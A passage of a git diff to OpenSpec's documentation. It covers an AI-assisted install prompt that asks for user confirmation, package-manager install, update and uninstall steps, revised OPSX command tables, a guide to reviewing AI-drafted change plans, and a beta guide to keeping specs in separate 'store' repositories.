improvise an install. (If I'm on Nix, + point me at the Nix section of the OpenSpec installation docs instead.) + Show me the exact command and let me confirm before you run it; this installs + software outside the project, and I may want a different package manager to + own it. + Stop and ask me again if the install needs sudo or admin rights, fails with a + permissions error, or reports that its global bin directory is missing or + unconfigured. Never edit my shell startup files (.bashrc, .zshrc, .profile, + fish, PowerShell profile), and never run a setup command that edits them for + me — show me the change and let me make it. + +3. PATH. Run `openspec --version`. If the command isn't found, it may just be + missing from this shell: tell me where the package manager installed it and + how to add that directory to PATH for my shell and OS, then stop until I + confirm. If it prints an older version than the one the install just + reported, an earlier copy is shadowing it on PATH — tell me both versions + instead of continuing. If I use a version manager, say so rather than editing + PATH around it: with nvm or fnm the CLI is tied to the Node version that was + active when you installed it, and with asdf or volta a shim may need + regenerating. + +4. INITIALIZE. Ask me which AI coding tool or tools I use and map each to an id + from `openspec init --help` (Copilot is `github-copilot`, Zoo Code is + `roocode`). `--tools` takes a comma-separated list, so name all of them. + `openspec init --tools ` deletes leftovers from older OpenSpec versions + automatically, without asking — including `opsx-*.md` prompt files in my home + directory (Codex keeps them in ~/.codex/prompts). Before you run it, look for + those: `.../commands/openspec/` folders, OpenSpec marker blocks in files like + CLAUDE.md or AGENTS.md, and home-directory `opsx-*.md` prompts. List whatever + you find and wait for my go-ahead; if you find nothing, say so and carry on + without asking. An existing `openspec/` folder is not a problem — init + refreshes it and leaves my specs and changes alone. + Confirm I'm in the right folder too: init creates `openspec/` wherever it + runs, including inside a monorepo package. + Then run: openspec init --tools + +5. REPORT. Don't assume what should exist — tell me what init actually printed: + how many skills and/or commands it created and where, the config file line, + any "Setup required" note, and what to restart or reload. Some tools are + skills-only and correctly create zero command files, so missing commands is + not a failure on its own. If init said nothing was generated, relay the fix + it suggested instead of retrying. Finish by telling me how to invoke OpenSpec + in my tool, and take the exact spelling from the files init created rather + than from its summary line: the punctuation differs per tool (/opsx:propose + in some, /opsx-propose in others, @opsx-propose in Amazon Q), and tools that + get skills instead of commands are invoked by skill name (/openspec-propose, + or $openspec-propose in Codex, or /skill:openspec-propose in Kimi Code). +``` + +Nothing in the prompt is vendor-specific: it's plain instructions plus the same commands documented on this page. It works on macOS, Linux, and Windows, and it deliberately stops rather than improvising when a step needs your permission. Your assistant does need to be able to run shell commands — a few IDE integrations can't. + ## Package Managers ### npm @@ -24,8 +96,30 @@ pnpm add -g @fission-ai/openspec@latest yarn global add @fission-ai/openspec@latest ``` +Yarn 2 and later (Berry) removed the `global` command. On those versions, install OpenSpec with npm, pnpm, or bun instead — a global CLI doesn't need to share your project's package manager. + +### deno + +Deno sometimes has issues parsing the @latest tag, but we can specify a version while installing initially. +If that happens, you could try to change the @latest tag with the version, something like `@^1.3.1` + +```bash +deno install --global \ + --allow-read --allow-write --allow-env --allow-sys=cpus,homedir --allow-net=edge.openspec.dev \ + npm:@fission-ai/openspec@latest +# or +deno install --global \ + --allow-read --allow-write --allow-env --allow-sys=cpus,homedir --allow-net=edge.openspec.dev \ + npm:@fission-ai/openspec@^1.3.1 +``` + +Note: If your subcommands launch external tools, like config edit, feedback, or workspace open, you may need a scoped --allow-run=. + ### bun +Bun can install OpenSpec globally, but OpenSpec currently runs on Node.js. +You still need Node.js 20.19.0 or higher available on `PATH`. + ```bash bun add -g @fission-ai/openspec@latest ``` @@ -67,6 +161,39 @@ Or add to your development environment in `flake.nix`: openspec --version ``` +## Updating + +Upgrade the package, then refresh each project's generated files: + +```bash +npm install -g @fission-ai/openspec@latest # or pnpm/yarn/bun equivalent +openspec update # run inside each project +``` + +`openspec update` regenerates the skill and command files for the tools you've configured, so your slash commands stay current with the installed version. It also checks whether a newer CLI has been published and offers to upgrade, since upgrading is what makes new workflows available in the first place — see [CLI Reference](cli.md#openspec-update). + +## Uninstalling + +There's no `openspec uninstall` command, because OpenSpec is just a global package plus some files in your project. Removing it is a few manual steps, and nothing here touches your source code. + +**1. Remove the global package:** + +```bash +npm uninstall -g @fission-ai/openspec # or: pnpm rm -g / yarn global remove / bun rm -g +``` + +**2. Remove OpenSpec from a project (optional).** Delete the `openspec/` directory if you no longer want its specs and changes: + +```bash +rm -rf openspec/ +``` + +Think before you do this: `openspec/specs/` and `openspec/changes/archive/` are your record of how the system behaves and why it changed. If you might want that history, keep the folder (or keep it in git) even after uninstalling. + +**3. Remove generated AI tool files (optional).** OpenSpec writes skill and command files into per-tool directories like `.claude/skills/openspec-*/`, `.cursor/commands/opsx-*`, and so on. Delete the `openspec-*` skills and `opsx-*` commands for whichever tools you configured. The exact paths per tool are listed in [Supported Tools](supported-tools.md). + +If you also have OpenSpec marker blocks in files like `CLAUDE.md` or `AGENTS.md`, remove those blocks by hand; your own content in those files is yours to keep. + ## Next Steps After installing, initialize OpenSpec in your project: diff --git a/docs/migration-guide.md b/docs/migration-guide.md index 5091ce4380..020f1b8c01 100644 --- a/docs/migration-guide.md +++ b/docs/migration-guide.md @@ -8,7 +8,7 @@ OPSX replaces the old phase-locked workflow with a fluid, action-based approach. | Aspect | Legacy | OPSX | |--------|--------|------| -| **Commands** | `/openspec:proposal`, `/openspec:apply`, `/openspec:archive` | Default: `/opsx:propose`, `/opsx:apply`, `/opsx:archive` (expanded workflow commands optional) | +| **Commands** | `/openspec:proposal`, `/openspec:apply`, `/openspec:archive` | Default: `/opsx:propose`, `/opsx:explore`, `/opsx:apply`, `/opsx:update`, `/opsx:sync`, `/opsx:archive` (expanded workflow commands optional) | | **Workflow** | Create all artifacts at once | Create incrementally or all at once—your choice | | **Going back** | Awkward phase gates | Natural—update any artifact anytime | | **Customization** | Fixed structure | Schema-driven, fully hackable | @@ -43,10 +43,11 @@ Only OpenSpec-managed files that are being replaced: - Claude Code: `.claude/commands/openspec/` - Cursor: `.cursor/commands/openspec-*.md` -- Windsurf: `.windsurf/workflows/openspec-*.md` +- Devin Desktop, formerly Windsurf: `.windsurf/workflows/openspec-*.md` - Cline: `.clinerules/workflows/openspec-*.md` - Roo: `.roo/commands/openspec-*.md` - GitHub Copilot: `.github/prompts/openspec-*.prompt.md` (IDE extensions only; not supported in Copilot CLI) +- Codex: OpenSpec now uses the canonical `.agents/skills/openspec-*` path. OpenSpec-managed `SKILL.md` files under the former `.codex/skills` path are reconciled only after replacements exist; custom files and divergent copies stay in place. If an unmarked `.agents` tree already contains OpenSpec skills, OpenSpec preserves its existing Codex (`$openspec-*`) or generic (`/openspec-*`) rendering instead of guessing from the legacy directory. Select `codex` explicitly with `openspec init` to switch ownership. Legacy prompt cleanup still targets only OpenSpec's allowlisted filenames in `$CODEX_HOME/prompts` or `~/.codex/prompts`. - And others (Augment, Continue, Amazon Q, etc.) The migration detects whichever tools you have configured and cleans up their legacy files. @@ -84,7 +85,7 @@ Don't worry about getting it perfect. We're still learning what works best here, Both `openspec init` and `openspec update` detect legacy files and guide you through the same cleanup process. Use whichever fits your situation: -- New installs default to profile `core` (`propose`, `explore`, `apply`, `archive`). +- New installs default to profile `core` (`propose`, `explore`, `apply`, `update`, `sync`, `archive`). - Migrated installs preserve your previously installed workflows by writing a `custom` profile when needed. ### Using `openspec init` @@ -156,6 +157,8 @@ openspec init --force --tools claude The `--force` flag skips prompts and auto-accepts cleanup. +This includes cleanup of OpenSpec-managed Codex prompt files in the global Codex prompt directory. Cleanup only targets OpenSpec's allowlisted legacy Codex prompt filenames, removes them only after replacement `.agents/skills/openspec-*` skills exist, and preserves all other files. + --- ## Migrating project.md to config.yaml @@ -287,6 +290,8 @@ Command availability is profile-dependent: | `/opsx:propose` | Create a change and generate planning artifacts in one step | | `/opsx:explore` | Think through ideas with no structure | | `/opsx:apply` | Implement tasks from tasks.md | +| `/opsx:update` | Revise a change's planning artifacts and keep them coherent | +| `/opsx:sync` | Merge delta specs into main specs | | `/opsx:archive` | Finalize and archive the change | **Expanded workflow (custom selection):** @@ -297,7 +302,6 @@ Command availability is profile-dependent: | `/opsx:continue` | Create the next artifact (one at a time) | | `/opsx:ff` | Fast-forward—create planning artifacts at once | | `/opsx:verify` | Validate implementation matches specs | -| `/opsx:sync` | Preview/spec-merge without archiving | | `/opsx:bulk-archive` | Archive multiple changes at once | | `/opsx:onboard` | Guided end-to-end onboarding workflow | @@ -407,6 +411,8 @@ OPSX uses the emerging **skills** standard: Skills are recognized across multiple AI coding tools and provide richer metadata. +Codex is skills-only in OPSX. OpenSpec no longer generates Codex custom prompt files; use the generated `.agents/skills/openspec-*` directories instead. + --- ## Continuing Existing Changes @@ -561,6 +567,9 @@ project/ │ ├── openspec-propose/ # default core profile │ ├── openspec-explore/ │ ├── openspec-apply-change/ +│ ├── openspec-update-change/ +│ ├── openspec-sync-specs/ +│ ├── openspec-archive-change/ │ └── ... # expanded profile adds new/continue/ff/etc. ├── CLAUDE.md # OpenSpec markers removed, your content preserved └── AGENTS.md # OpenSpec markers removed, your content preserved diff --git a/docs/opsx.md b/docs/opsx.md index 9607b7d06d..095f159d27 100644 --- a/docs/opsx.md +++ b/docs/opsx.md @@ -65,7 +65,7 @@ openspec init This creates skills in `.claude/skills/` (or equivalent) that AI coding assistants auto-detect. -By default, OpenSpec uses the `core` workflow profile (`propose`, `explore`, `apply`, `archive`). If you want the expanded workflow commands (`new`, `continue`, `ff`, `verify`, `sync`, `bulk-archive`, `onboard`), configure them with `openspec config profile` and apply with `openspec update`. +By default, OpenSpec uses the `core` workflow profile (`propose`, `explore`, `apply`, `update`, `sync`, `archive`). If you want the expanded workflow commands (`new`, `continue`, `ff`, `verify`, `bulk-archive`, `onboard`), configure them with `openspec config profile` and apply with `openspec update`. During setup, you'll be prompted to create a **project config** (`openspec/config.yaml`). This is optional but recommended. @@ -163,8 +163,9 @@ rules: | `/opsx:continue` | Create the next artifact (expanded workflow) | | `/opsx:ff` | Fast-forward planning artifacts (expanded workflow) | | `/opsx:apply` | Implement tasks, updating artifacts as needed | +| `/opsx:update` | Revise a change's planning artifacts and keep them coherent | | `/opsx:verify` | Validate implementation against artifacts (expanded workflow) | -| `/opsx:sync` | Sync delta specs to main (expanded workflow, optional) | +| `/opsx:sync` | Sync delta specs to main (default workflow, optional) | | `/opsx:archive` | Archive when done | | `/opsx:bulk-archive` | Archive multiple completed changes (expanded workflow) | | `/opsx:onboard` | Guided walkthrough of an end-to-end change (expanded workflow) | @@ -208,6 +209,12 @@ Creates all planning artifacts at once. Use when you have a clear picture of wha ``` Works through tasks, checking them off as you go. If you're juggling multiple changes, you can run `/opsx:apply `; otherwise it should infer from the conversation and prompt you to choose if it can't tell. +### Updating a change +``` +/opsx:update add-dark-mode - we're storing the theme in a cookie now +``` +Revises the change's existing planning artifacts and keeps them coherent - in any direction (a design edit may ripple back to the proposal). Planning artifacts only: it never edits code, and it never creates missing artifacts (that's `/opsx:continue`). Every edit is confirmed with you first. If the change was already implemented, it recommends `/opsx:apply` so the code catches up with the revised plan. If your revision changes the change's *intent*, start fresh instead - see [When to Update vs. Start Fresh](#when-to-update-vs-start-fresh). + ### Finish up ``` /opsx:archive # Move to archive when done (prompts to sync specs if needed) @@ -313,7 +320,7 @@ Think of it like git branches: ## Architecture Deep Dive This section explains how OPSX works under the hood and how it compares to the legacy workflow. -Examples in this section use the expanded command set (`new`, `continue`, etc.); default `core` users can map the same flow to `propose → apply → archive`. +Examples in this section use the expanded command set (`new`, `continue`, etc.); default `core` users can map the same flow to `propose → apply → sync → archive`. ### Philosophy: Phases vs Actions @@ -412,7 +419,7 @@ Examples in this section use the expanded command set (`new`, `continue`, etc.); │ ▼ │ │ Skill Files (.claude/skills/openspec-*/SKILL.md) │ │ │ -│ • Cross-editor compatible (Claude Code, Cursor, Windsurf) │ +│ • Cross-editor compatible (Claude Code, Cursor, Devin) │ │ • Skills query CLI for structured data │ │ • Fully customizable via schema files │ │ │ @@ -471,7 +478,7 @@ Artifacts form a directed acyclic graph (DAG). Dependencies are **enablers**, no │ • Create proposal.md │ │ • Create tasks.md │ │ • Create design.md │ - │ • Create specs//spec.md │ + │ • Create delta spec files │ │ │ │ No awareness of what exists or │ │ dependencies between artifacts │ @@ -497,7 +504,8 @@ Artifacts form a directed acyclic graph (DAG). Dependencies are **enablers**, no │ │ {"id": "proposal", "status": "done"}, │ │ │ │ {"id": "specs", "status": "ready"}, ◄── First ready │ │ │ │ {"id": "design", "status": "ready"}, │ │ - │ │ {"id": "tasks", "status": "blocked", "missingDeps": ["specs"]}│ │ + │ │ {"id": "tasks", "status": "blocked", │ │ + │ │ "missingDeps": ["specs", "design"]} │ │ │ │ ] │ │ │ │ } │ │ │ └────────────────────────────────────────────────────────────────────┘ │ diff --git a/docs/overview.md b/docs/overview.md new file mode 100644 index 0000000000..6321a3439a --- /dev/null +++ b/docs/overview.md @@ -0,0 +1,91 @@ +# Core Concepts at a Glance + +**OpenSpec is a lightweight agreement layer between you and your AI.** You write down what a change should do, the AI drafts the details, you both look at the same plan, and only then does code get written. This page is the whole mental model on one screen. When you want the long version, [Concepts](concepts.md) has it. + +Here's the entire idea in five words: **agree first, then build confidently.** + +## The five ideas + +Everything in OpenSpec is built from five concepts. Learn these and the rest is detail. + +**1. Specs are the truth.** A spec describes how your system behaves *right now*. It lives in `openspec/specs/`, organized by domain (`auth/`, `payments/`, `ui/`). Specs are made of requirements ("the system SHALL expire sessions after 30 minutes") and scenarios (concrete given/when/then examples). Think of specs as the single agreed-upon answer to "what does this software do?" + +**2. A change is one unit of work.** When you want to add, modify, or remove behavior, you create a change: a folder in `openspec/changes/` holding everything about that work in one place. A proposal, a design, a task list, and the spec edits. One change, one folder, one feature. + +**3. Delta specs describe what's changing, not the whole world.** Inside a change, you don't rewrite the entire spec. You write a small delta: `ADDED` this requirement, `MODIFIED` that one, `REMOVED` this other one. This is the trick that makes OpenSpec good at editing existing systems, not just green-field ones. You describe the diff, not the destination. + +**4. Artifacts build on each other.** A change contains a few documents, created in a natural order, each feeding the next: + +```text +proposal ──► specs ──► design ──► tasks ──► implement + why what how steps do it +``` + +You can revisit any of them at any time. They're enablers, not gates. (More on that below.) + +**5. Archiving folds the change back into the truth.** When the work is done, you archive the change. Its delta specs merge into your main specs, and the change folder moves to `changes/archive/` with a date stamp. Now your specs describe the new reality, and you're ready for the next change. The cycle closes. + +## The picture + +```text +┌─────────────────────────────────────────────────────────────────┐ +│ openspec/ │ +│ │ +│ ┌──────────────────┐ ┌──────────────────────────┐ │ +│ │ specs/ │ │ changes/ │ │ +│ │ │ ◄───── │ │ │ +│ │ source of truth │ merge │ one folder per change │ │ +│ │ how things work │ on │ proposal · design · │ │ +│ │ today │ archive │ tasks · delta specs │ │ +│ └──────────────────┘ └──────────────────────────┘ │ +│ │ +└─────────────────────────────────────────────────────────────────┘ +``` + +Two folders. `specs/` is what's true. `changes/` is what you're proposing. Archiving moves a proposal into truth. + +## The loop you'll actually run + +In the default setup, your day looks like this. Optionally think it through first; then one command drafts the plan, you read it, the next builds it, and the last files it away. + +```text +/opsx:explore → (optional) think it through with the AI first +/opsx:propose add-dark-mode → AI drafts proposal, specs, design, tasks + (you read and adjust the plan) +/opsx:apply → AI builds it, checking off tasks +/opsx:archive → specs updated, change archived +``` + +**When in doubt, start by exploring.** `/opsx:explore` is a no-stakes thinking partner: it reads your code, lays out options, and turns a fuzzy idea into a concrete plan before any artifact exists. It's the best antidote to an AI that will otherwise build *something* from a vague prompt. Already know exactly what you want? Skip straight to `/opsx:propose`. Either way, explore ships in the default profile, so it's always there. See the [Explore guide](explore.md). + +Those are slash commands, typed in your AI assistant's chat. Setup (`openspec init`) happens in your terminal. If that split is new to you, read [How Commands Work](how-commands-work.md) first; it's the most common point of confusion. + +## "Enablers, not gates" + +This phrase shows up everywhere in OpenSpec, so here's what it means in plain terms. + +Old-school spec processes are waterfalls: finish planning, *then* you're allowed to implement, and going back is painful. OpenSpec refuses that. The order `proposal → specs → design → tasks` shows what becomes *possible* next, not what you're *forced* to do next. + +Discover during implementation that the design was wrong? Edit `design.md` and keep going. Realize the scope should shrink? Update the proposal. Nothing locks. The dependencies exist only so the AI has the context it needs (you can't write good tasks without specs to base them on), not to box you in. + +The strength here is honesty: real work is messy and iterative, and OpenSpec lets it be. The tradeoff is discipline: because nothing forces you forward, it's on you to keep a change focused rather than letting it sprawl. The [Workflows](workflows.md) guide has good habits for that. + +## Why this is worth the small overhead + +Plain truth: OpenSpec adds a step. You write a short plan before building. So what do you get for it? + +- **You catch wrong turns before they cost you.** Fixing a misunderstanding in a one-paragraph proposal is free. Fixing it after the AI wrote 400 lines is not. +- **The plan and the code stay in the same repo.** Six months later, the spec tells you (and the next AI session) why the system works the way it does. +- **Changes are reviewable.** A change folder is a tidy package: read the proposal, skim the deltas, check the tasks. No archaeology through chat history. +- **It fits existing codebases.** Deltas mean you can specify a change to a 50,000-line app without first documenting the whole thing. + +And the honest tradeoff: for a truly trivial one-line fix, the ceremony may not pay off, and that's fine. OpenSpec is designed to be lightweight, but it isn't free. Use it where agreement matters, which turns out to be most of the time once you're working with an AI that will confidently build whatever you vaguely asked for. + +## Where to go next + +- New here? [Getting Started](getting-started.md) walks the first change in full. +- Not sure what to build yet? [Explore First](explore.md) is the place to start. +- Confused about where commands run? [How Commands Work](how-commands-work.md). +- Want the deep version of everything above? [Concepts](concepts.md). +- Learn by example? [Examples & Recipes](examples.md). +- Need a term defined? [Glossary](glossary.md). diff --git a/docs/reviewing-changes.md b/docs/reviewing-changes.md new file mode 100644 index 0000000000..c99f6bca37 --- /dev/null +++ b/docs/reviewing-changes.md @@ -0,0 +1,143 @@ +# Reviewing a Change + +OpenSpec's whole promise is that you and your AI **agree on what to build before any code is written.** That agreement only means something if you actually read what the AI drafted. This page is about the two minutes where you do that — what to open, in what order, and what to look for. + +The bet is simple: catching a wrong turn in a one-paragraph plan is nearly free. Catching the same wrong turn in 300 lines of code is not. Review is where you collect on that bet. + +## The two moments you review + +There are exactly two: + +``` +/opsx:propose ──► REVIEW THE PLAN ──► /opsx:apply ──► REVIEW THE CODE ──► /opsx:archive + (before any code) (/opsx:verify) +``` + +1. **After `/opsx:propose`** (or `/opsx:ff`), before `/opsx:apply` — read the plan while it's still just words. +2. **After building**, with `/opsx:verify` — check that the code actually did what the plan said. + +The first review is the one that saves you the most, and the one people skip. This page spends most of its time there. + +## Read it in this order + +A change is a folder of plain Markdown in `openspec/changes//`. Read the files in the order that lets you quit earliest if something's wrong: + +``` +openspec/changes/add-dark-mode/ +├── proposal.md 1. the intent and scope ← if this is wrong, stop here +├── specs/…/spec.md 2. the requirements ← the heart of the review +├── design.md (only for bigger changes) — the technical approach +└── tasks.md 3. the plan of work +``` + +You don't need to read every line. You need to answer three questions, one per file. + +## The proposal: is this the right problem? + +Open `proposal.md` first. It captures the "why" and "what" — the intent, the scope, the approach in a paragraph or two. + +**What good looks like:** one clear intent, a scope you recognize, and a reason this is worth doing now. + +**Red flags:** + +- It solves a slightly *different* problem than the one you asked for. +- The scope has grown — you asked for a theme toggle and the proposal also touches auth "while we're in there." +- It's vague. "Improve the settings page" is not a scope; "add a dark-mode toggle that respects the OS preference" is. + +**The question to answer:** *Does this match what I actually asked for, and is anything sneaking in?* If the answer is no, stop — don't read further, fix the proposal (see [Pushing back](#pushing-back-is-cheap)). + +## The spec deltas: is "done" defined correctly? + +This is the heart of the review. The delta specs under `specs/` say what will be *true* when the change ships — as requirements and the scenarios that prove them: + +```markdown +## ADDED Requirements + +### Requirement: Dark Mode Toggle +The system SHALL let a user switch between light and dark themes. + +#### Scenario: Respects the OS preference on first load +- GIVEN a user who has never set a theme +- WHEN they open the app on a device set to dark mode +- THEN the app renders in dark mode +``` + +**What a good requirement looks like:** one clear `SHALL`/`MUST` statement you could hand to a tester, and at least one scenario whose GIVEN/WHEN/THEN actually exercises that statement. + +**Red flags:** + +- **A vague requirement.** "The system SHALL be fast" can't be built or tested. What's fast? +- **A requirement with no scenario**, or a scenario that doesn't test the requirement it sits under. +- **The most valuable catch of all: what's missing.** The AI faithfully writes down what you *said*. Your job is to notice what you *forgot* to say. If you cared most about the OS-preference case and no scenario mentions it, that's the review paying for itself. + +Read the deltas asking *would I be happy if the system did exactly — and only — this?* Nothing here is about code yet, so it stays cheap to change. + +## The tasks: is the plan of work sane? + +Open `tasks.md` last. It's the implementation checklist the AI will work through. + +**What good looks like:** ordered steps, each traceable to a requirement, nothing mysterious. + +**Red flags:** + +- A task with no matching requirement (where did that come from?). +- One giant "implement the feature" task that hides all the real decisions. +- A task that touches something outside the scope you just approved. + +You're not estimating or micromanaging here — you're checking that the plan matches the requirements you already accepted. + +## Pushing back is cheap + +If any of the three questions came back wrong, say so. There are no phases and nothing is locked — you fix it and move on. Two ways, exactly as in [Editing a change](editing-changes.md): + +- **Edit the file yourself.** It's plain Markdown; change the scope line, tighten a requirement, delete a task. +- **Tell the AI what's wrong** and let it revise: *"drop the auth changes — out of scope,"* *"add a scenario for when the user has already picked a theme,"* *"split task 3 into schema and UI."* + +Then re-read the part you changed. Re-draft until it's a plan you'd sign your name to. That back-and-forth *is* the product working. + +## After the code: verify + +Once the work is built, `/opsx:verify` is your second review. It re-reads the artifacts and the code and reports mismatches across three dimensions: + +| Dimension | What it checks | +|-----------|----------------| +| **Completeness** | Every task done, every requirement implemented, scenarios covered | +| **Correctness** | The implementation matches the spec's intent, edge cases handled | +| **Coherence** | Design decisions actually show up in the code | + +``` +You: /opsx:verify + +AI: Verifying add-dark-mode... + + COMPLETENESS + ✓ All 8 tasks in tasks.md are checked + ✓ All requirements in specs have corresponding code + ⚠ Scenario "Respects the OS preference on first load" has no test coverage +``` + +It flags issues as CRITICAL, WARNING, or SUGGESTION, and it does **not** block archiving — it surfaces the gaps and leaves the call to you. This is the difference between "did the AI write code" and "did it build what we agreed." + +`/opsx:verify` is in the expanded profile. If you don't have it, turn it on with `openspec config profile` (then `openspec update`), or just re-read the change and the diff yourself. + +## Right-size the review + +Not every change earns the full pass. A one-file typo fix deserves a twenty-second skim. A change that touches auth, payments, or data you can't recover deserves every question above. The point was never ceremony — it's spending your attention where a mistake would be expensive, and skimming where it wouldn't. + +## The two-minute checklist + +- [ ] The proposal's intent matches what I asked for. +- [ ] Nothing extra has crept into the scope. +- [ ] Every requirement is specific enough to test. +- [ ] Every requirement has a scenario that actually exercises it. +- [ ] The case I care about most is covered. +- [ ] Tasks map to requirements; nothing is mysterious or out of scope. +- [ ] I'd be comfortable if the AI built exactly this and nothing more. + +If all seven pass, run `/opsx:apply` with confidence. If any fail, that's not a setback — it's the two minutes doing its job. + +## Where to go next + +- [Writing Good Specs](writing-specs.md) — the flip side: how to draft requirements and scenarios worth approving. +- [Editing & Iterating on a Change](editing-changes.md) — the mechanics of changing a plan after you've started. +- [Workflows](workflows.md) — where review fits in the larger loop. diff --git a/docs/stores-beta/user-guide.md b/docs/stores-beta/user-guide.md new file mode 100644 index 0000000000..4a4db4ccc3 --- /dev/null +++ b/docs/stores-beta/user-guide.md @@ -0,0 +1,460 @@ +# Stores: Plan in Its Own Repo + +> **Beta.** Stores, references, working context, and worksets are +> new. Command names, flags, file formats, and JSON output may still change +> shape between releases. Every walkthrough below was run against the +> current build, but re-read this guide after upgrading. + +## The problem this solves + +OpenSpec normally lives inside one code repo: an `openspec/` folder next to +your code, holding specs and changes for that repo. + +That stops fitting the moment your planning is bigger than one repo: + +- Your work spans several repos — one feature touches the API server, the + web app, and a shared library. Whose `openspec/` folder does the plan + live in? +- Your team plans before code exists, or plans things that never become + code in *this* repo. +- Requirements are owned by one team and consumed by others. The wiki + version drifts, and your coding agent can't read it anyway. + +A **store** is the answer: a standalone repo whose whole job is planning. +It has the same `openspec/` shape you already know — specs and changes — +plus a small identity file. You register it on your machine once, by name, +and then every normal OpenSpec command can work in it from anywhere. + +## The shape + +``` + team-plans (a store: planning in its own repo) + ├── .openspec-store/store.yaml identity: "I am team-plans" + └── openspec/ + ├── specs/ what is true + └── changes/ what is in motion + ▲ + │ registered on each machine by name; + │ shared by pushing/cloning like any repo + ┌─────────────┼─────────────┐ + │ │ │ + web-app api-server mobile-app + (code repo) (code repo) (code repo) +``` + +Two rules keep this simple: + +1. **A store is just a git repo.** You commit, push, pull, and review it + yourself. OpenSpec never clones, syncs, or pushes anything on its own. +2. **Declarations, not machinery.** Repos can *declare* how they relate to + stores (shown below). Declarations change what OpenSpec can tell you — + never where your commands act. + +## Five minutes to your first store + +Two commands take you from nothing to a working, store-scoped change: + +```bash +openspec store setup team-plans --path ~/openspec/team-plans +``` + +``` +Store ready: team-plans +Location: /Users/you/openspec/team-plans +OpenSpec root: ready +Registry: registered + +Next: run normal OpenSpec commands against this store, for example: + openspec new change --store team-plans +Share this store by committing and pushing it like any Git repo. +``` + +```bash +openspec new change add-login --store team-plans +``` + +``` +Using OpenSpec root: team-plans (/Users/you/openspec/team-plans) +Created change 'add-login' at /Users/you/openspec/team-plans/openspec/changes/add-login/ +Schema: spec-driven +Next: openspec status --change add-login --store team-plans +``` + +That's the whole model. From here the lifecycle is exactly what you know — +`status`, `instructions`, `validate`, `archive` — with `--store team-plans` +on each command, and every printed hint carries the flag for you. The +`Using OpenSpec root:` line always tells you where a command is acting. + +## Story: one team, one planning repo + +A team keeps its specs and changes in `team-plans` instead of scattering +them across code repos. + +**Day one (whoever sets it up):** + +```bash +openspec store setup team-plans --path ~/openspec/team-plans \ + --remote git@github.com:acme/team-plans.git +git -C ~/openspec/team-plans push -u origin main +``` + +Passing `--remote` records the clone URL inside the store's own identity +file (`.openspec-store/store.yaml`), in the initial commit. Every future +clone is born knowing where it came from, so health checks and error +messages can print a complete, pasteable fix for teammates who don't have +it yet. + +**Every teammate (once per machine):** + +```bash +git clone git@github.com:acme/team-plans.git ~/openspec/team-plans +openspec store register ~/openspec/team-plans +``` + +From then on, everyone works in the same planning repo by name: + +```bash +openspec status --store team-plans --change add-login +openspec show add-login --store team-plans +``` + +**Sharing work is git, on purpose.** A change you create exists only in +your checkout until you commit and push it — same as code. Plans get +branches, pull requests, and review for free, because a store is an +ordinary repo. + +**Connecting the team's code repos.** A code repo whose planning is fully +externalized needs exactly one line, in `openspec/config.yaml`: + +```yaml +# web-app/openspec/config.yaml +store: team-plans +``` + +Now every OpenSpec command run inside `web-app` acts on `team-plans` with +no flags at all: + +```bash +cd ~/src/web-app +openspec status --change add-login +``` + +``` +Using OpenSpec root: team-plans (/Users/you/openspec/team-plans) +... +``` + +The pointer is a fallback, never an override: an explicit `--store` always +wins, and if the repo grows real planning folders of its own, those win +(with a warning to remove the stale pointer). + +**One default for every repo on your machine.** If you work across many +code repos that all plan into the same store, set it once, globally, +instead of adding the `store:` line to each repo: + +```bash +openspec config set defaultStore team-plans +``` + +Now any command run outside a planning root — and with no `--store` and no +project pointer — resolves to `team-plans`. It sits at the bottom of the +precedence list, so `--store`, a local root, and a project `store:` pointer +all still win. The root banner and JSON `root` block report +`source: "global_default"` with the store id, so you can always tell a +machine-wide default from a repo's own pointer. Clear it with +`openspec config unset defaultStore`. If the id is not registered, commands +error and tell you to register it or clear the stale default. + +## Example: one feature, two component repos + +Suppose `add-checkout-promo` changes both `checkout-api` and +`checkout-web`. The team wants one shared product contract, while each code +repo still needs its own implementation tasks, branch, and review. + +Use two layers: + +1. Keep the shared behavior in `team-plans`. +2. Keep implementation plans in each component repo and reference the store + as read-only upstream context. + +First, plan the shared contract in the store: + +```bash +openspec new change add-checkout-promo --store team-plans +openspec status --change add-checkout-promo --store team-plans +``` + +The proposal and specs should describe the behavior at the boundary between +the components — for example, the promotion fields returned by the service +and how the frontend handles an ineligible checkout. Review this change in +the store repo like any other branch and pull request. + +### What context does planning see? + +Selecting a store changes the OpenSpec root; it does not discover or read +every code repo that uses that store. Store instructions see the artifacts +and configured context in the store. They see component code only when those +folders are also available to the agent or editor and the agent reads them. + +A workset is a convenient way to open the planning store and both code repos +together: + +```bash +openspec workset create checkout-promo \ + --member ~/openspec/team-plans \ + --member ~/src/checkout-api \ + --member ~/src/checkout-web \ + --tool code +openspec workset open checkout-promo +``` + +This makes the folders visible in one IDE workspace. It does not copy source +context into the store, select affected repos, or grant an agent permission +to edit them. Put durable cross-component facts in the shared specs; do not +rely on a planner remembering source it happened to inspect. + +### How does implementation start in each repo? + +When no explicit `--store` or nearer `openspec/` root applies, a +`store: team-plans` pointer routes commands to that store. It does not split +one store task list by the directory from which `apply` was invoked. OpenSpec +currently does not route tasks to repos. + +When each component needs an independently scoped apply/review cycle, give it +a local OpenSpec root and reference the central store instead of pointing at +it: + +```yaml +# checkout-api/openspec/config.yaml (and likewise in checkout-web) +schema: spec-driven +references: + - team-plans +``` + +After the shared contract is approved and available in the store's main +specs, create a small local change for the component's part: + +```bash +cd ~/src/checkout-api +openspec new change implement-checkout-promo-api + +cd ~/src/checkout-web +openspec new change implement-checkout-promo-ui +``` + +The reference index in each repo's instructions supplies the store spec's +summary and exact `openspec show ... --store team-plans` fetch command. Each +local proposal cites that shared contract, and its tasks describe only work +in that component. Then run `/opsx:apply` in each repo separately; root +resolution keeps the artifacts and implementation edits scoped to that repo. +The service and frontend changes can now be tested, reviewed, merged, and +archived independently. + +If implementation must begin while the shared store change is still active, +fetch it explicitly with +`openspec show add-checkout-promo --store team-plans`; reference indexes list +canonical store specs, not active store changes. Keep the store branch and +component branches linked in their pull-request descriptions so reviewers +can see which version of the contract each implementation follows. + +## Story: requirements that cross team lines + +A platform team owns the requirements. Product teams build against them, +in their own repos, with their own designs. A reference describes that +relationship without moving anyone's work. + +``` + platform-reqs (store) api-server (code repo) + owned by the platform team owned by a product team + ┌──────────────────────────┐ ┌──────────────────────────┐ + │ openspec/specs/ │ ◀────────│ openspec/config.yaml │ + │ payments/spec.md │ reads │ references: │ + │ auth/spec.md │ │ - platform-reqs │ + │ │ │ openspec/specs/ │ + │ openspec/changes/ │ │ (their own designs) │ + │ 